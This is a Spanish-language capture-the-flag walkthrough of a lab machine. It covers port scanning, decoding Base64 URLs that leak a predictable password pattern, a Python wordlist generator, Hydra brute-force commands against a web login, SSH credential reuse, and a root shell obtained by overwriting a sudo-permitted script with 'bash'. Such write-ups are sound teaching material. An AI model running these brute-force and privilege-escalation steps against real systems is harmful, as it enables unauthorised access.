Enumeración de servicios
Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.39
❯ nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.39
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-10 19:03 -03
Nmap scan report for 192.168.1.39
Host is up (0.00046s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 1000 1000 5154 Jan 28 2023 output
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.1.10
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 3a:09:a4:da:d7:db:99:ee:a5:51:05:e9:af:e7:08:90 (RSA)
| 256 cb:42:6a:be:22:13:2c:f2:57:f9:80:d1:f7:fb:88:5c (ECDSA)
|_ 256 44:3c:b4:0f:aa:c3:94:fa:23:15:19:e3:e5:18:56:94 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Agency - Start Bootstrap Theme
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.15 secondsEnumeramos con gobuster:
...
/login.php (Status: 200) [Size: 1022]
/user.php (Status: 200) [Size: 1022]
/index.php (Status: 200) [Size: 29604]
/success.php (Status: 200) [Size: 1022]
/create_account.php (Status: 200) [Size: 1003]
...Análisis del esquema de contraseñas
En el FTP anónimo hay un archivo output del que obtenemos un usuario, matthew. En /create_account.php confirmamos que el usuario admin existe. Creamos un usuario test y, al hacerlo, la web genera una URL en Base64 que revela la contraseña asignada. Base64 sólo cambia su representación, por lo que cualquier persona que reciba la URL puede recuperar el valor original:
http://192.168.1.39/success.php?dXNlcm5hbWU9dGVzdCZwYXNzd29yZD10ZXN0MjAyNEA0NTYx
❯ echo "dXNlcm5hbWU9dGVzdCZwYXNzd29yZD10ZXN0MjAyNEA0NTYx" | base64 -d
username=test&password=test2024@4561Repetimos con otro usuario para comprobar que no se trata de una contraseña aislada, sino de un patrón reproducible:
http://192.168.1.39/success.php?dXNlcm5hbWU9cHduZWQmcGFzc3dvcmQ9cHduZWQyMDI0QDk0ODk=
❯ echo "dXNlcm5hbWU9cHduZWQmcGFzc3dvcmQ9cHduZWQyMDI0QDk0ODk=" | base64 -d
username=pwned&password=pwned2024@9489Predictable Password Generation y Password Guessing
Estamos ante Predictable Password Generation: la contraseña sigue el patrón usuario + año + @ + cuatro dígitos. Una vez conocidos el usuario y el año, la parte aparentemente aleatoria queda reducida a sólo 10 000 candidatos, desde 0000 hasta 9999. Generamos exactamente ese espacio de búsqueda para cada cuenta:
❯ cat dict_generator.py
user = 'admin'
dictionary = 'passwd_' + user + '.txt'
anio = '2023'
with open(dictionary, "a") as dic:
for j in range (0, 10000):
num = str(j).zfill(4)
passwd = user + anio + '@' + num
dic.write(passwd + '\n')Hydra realiza un ataque en línea contra el formulario y valida los candidatos generados. En este caso no estamos crackeando un hash, sino consultando al servidor hasta encontrar una contraseña aceptada:
❯ hydra -l admin -P passwd_admin.txt 192.168.1.39 http-post-form '/login.php:username=^USER^&password=^PASS^:<input type="submit" value="Login">' -t 64
...
[80][http-post-form] host: 192.168.1.39 login: admin password: admin2023@5344
...
❯ hydra -l matthew -P passwd_matthew.txt 192.168.1.39 http-post-form '/login.php:username=^USER^&password=^PASS^:<input type="submit" value="Login">' -t 64
...
[80][http-post-form] host: 192.168.1.39 login: matthew password: matthew2023@1554
...Escalada de privilegios
La web autenticada sólo muestra una página en construcción, pero la misma combinación funciona en SSH. Esta Credential Reuse convierte una contraseña descubierta en la aplicación web en acceso interactivo al sistema. Entramos como matthew, obtenemos la primera flag y revisamos sudo -l:
matthew@uvalde:~$ sudo -l
Matching Defaults entries for matthew on uvalde:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User matthew may run the following commands on uvalde:
(ALL : ALL) NOPASSWD: /bin/bash /opt/superhackLa regla no autoriza cualquier comando, pero sí ejecuta /opt/superhack mediante Bash como cualquier usuario. El problema es un Writable Privileged Executable File: sudo valida la ruta permitida, no que su contenido siga siendo el original. Como matthew puede renombrar el archivo y crear otro en la misma ruta, sustituimos el contenido por una orden que abra una shell:
matthew@uvalde:/opt$ mv superhack superhack.bak
matthew@uvalde:/opt$ echo "bash" > superhack
matthew@uvalde:/opt$ sudo /bin/bash /opt/superhack
root@uvalde:/opt#Obtenemos una shell de root y capturamos la bandera.
Fin.